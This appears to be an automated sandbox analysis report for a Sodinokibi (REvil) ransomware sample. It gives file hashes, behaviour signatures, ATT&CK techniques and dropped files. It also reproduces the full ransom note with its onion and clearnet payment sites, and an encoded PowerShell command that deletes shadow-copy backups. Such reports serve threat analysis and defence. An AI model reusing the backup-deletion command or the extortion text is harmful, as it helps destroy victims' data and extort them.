Overview

overview

10

Static

static

10

NEAS.6628d...01.exe

windows7-x64

10

NEAS.6628d...01.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2023 17:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe

  • Size

    166KB

  • MD5

    44c753ed1faec948b0d98bc9ba047469

  • SHA1

    1aa2d575752dcfa73ea8bd2fa666e18588be353c

  • SHA256

    6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01

  • SHA512

    f7d4c3988f82839264e83c1a17024c695bd8ff31a224eba3cfc9e3712758be5450521c1e52c246b02dad0849bdf381ad40d77e9b5bab6f8135f07219c13047e0

  • SSDEEP

    3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QoIeXt5KCn16:ZJ0BXScFy2RsQJ8zg9edTn1

Score
10/10
sodinokibiransomware

Malware Config

Extracted

Path

C:\Recovery\8176v62z-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 8176v62z. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/460BF68515DF93C5 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/460BF68515DF93C5 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: +EUGyyoEXqM0oFM38Djb/JjQViNUDnN8Ua9rpvd5PFldFO5lwgv6nXCdH2CJTHQ6 WG/5eX8e+Fl8MIRmc9NAWtXpX89QDhKMmvqYZ0xMC54gQI6U/lyXr9pzBY1cBWDt rZjNRiyuImEycfWEF6oVfQfZXeupRAlTMZwt/bUJeqTP+oYbMjLAec2/Mix/nHNR KXkYGgDskjYq0bU2hx4cog7b3SymtGdSw2SD0pkZAhta4UQEkBfpzd4f8lHNwX1W aR7/Brpmte169VCntrK5PD/uUXtXsd1r3PRu3vzN4fDpWMMskBsqX2FE9zQVch3Z aeIPZQtSr3TNqt6oFbhJcQ8H0uiZ7Iy1kjQr+0GS0OYmrbZlja0N+oM8UnI8Mt59 HGZlYyoL0DW0s+eMDCiGctbOCnq+FXpliqEtI6qd3tao3sE3Z6xd8532d3gqHVV6 44giZUZDAZ7UQz/HcFg7HK2ZYb4+Oug8ZnlLnFv+jA+z133f+FoONL6BpFqJHxSt jzYOinQN37GmQCzSbhY5KrR1Pvk6syKZFQeCSD5+Pt85Y4LV9esb4Y1+eddFenqu 8LbwvC6EzNYM31b+w/JJSgGyCd3zFvMPDVaiOAGAEH3Y5nIE+YwfUXf+GHDnKg0x 26i0pePTVPjxcGFI/7Bbqjk6ZLqktAN/EY7NVUugQ89KSOlo+zofy8Y/OJitilZe qB+OB9tp5jFD6UGJVHcgYpQ+o4WSeH+NWiqr47cqq+oIzoDF2V7OT2/0cqtuRRMZ sKODKmD+ysMThKSgVxBFJGdV8+9NoOJ6u45aXoYKqMkRDZZz43CfdKQaUEFQ1ydW GmW9x8i3DYnEzS2agJ+xiMUNzj3J1T2kDyCnLA9bXagKfticO3ISnSdR/zWkVz7D ZQwA+zfoCX4PCP/tJguFWnNiIoIkW7WrE73HnqTmkz1dgW6ZEsu/07g4TD0KfqBs V5QdJYh/HQs3D2yALGexT+v5lPWwl8qnBpx49BUewFaplpFK3IFpnlUK3yIDjXHC CPS5sHrUwlmfgpX+N7WtXdDOpdoENxVgzkAbcMqBWgjpw6B0j1pk/B6eeUykRvds wgVxZ7UPIRj5+m4Ug6CzwArJXryTZGRLPQZXLgzjrN+KnCf0Bzu/Xx0Ei4kr53VB Hi3jcyqduq8Rrz51n0CPgIm6MtMnTsoGvL8MhtCl2cNZl8pRMud3W880Slh62WrB Ps2fiY9jz5yxHeLxqBJf5wtsUagyiYZ92KSG0pQTpRTez9rgTwo89AOPWm83mGmu qOJj1SvkSIrYuaeflE6cKet3Q6T7wiVJrsmOq3N6d4vCZNcqPs2j+9Zxp5/tuHxE 9i8GDZflZxKZflZEqDTodbVxJl9qjb8YLscO+F/m4ueYmA+pHwTeYg== Extension name: 8176v62z ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/460BF68515DF93C5

http://decryptor.cc/460BF68515DF93C5

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe
    "C:\Users\Admin\AppData\Local\Temp\NEAS.6628de7ffbbe168a4fa9ff0a1a29b54e88a32e5963db0dd1aea4b80102c8ce01.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1912
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4224
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2308

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Resource Development

    Reconnaissance

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Recovery\8176v62z-readme.txt
      Filesize

      7KB

      MD5

      d294054344d1fecbb78d754e80e1f412

      SHA1

      1a6b970e2bacd3ff4a9a52d73651e44eeba2a9c0

      SHA256

      5fdfd778667551d45a39101e5783990e9bd029c3f6e98b0ab9620079cf290fe0

      SHA512

      34f42f41d2185d7f80e16d7c7b248173133b772a34798c8647a68253aa7f12177cc7eed2d13ec4e73cd23104d0476b7bee4694fd48d4c95b3207276cea76761d

      Download Submit
    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juqvz431.bqg.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit
    • memory/1912-8-0x000002B1E9740000-0x000002B1E9762000-memory.dmp
      Filesize

      136KB

      Download
    • memory/1912-10-0x00007FFEC66E0000-0x00007FFEC71A1000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/1912-11-0x000002B1CF350000-0x000002B1CF360000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1912-14-0x00007FFEC66E0000-0x00007FFEC71A1000-memory.dmp
      Filesize

      10.8MB

      Download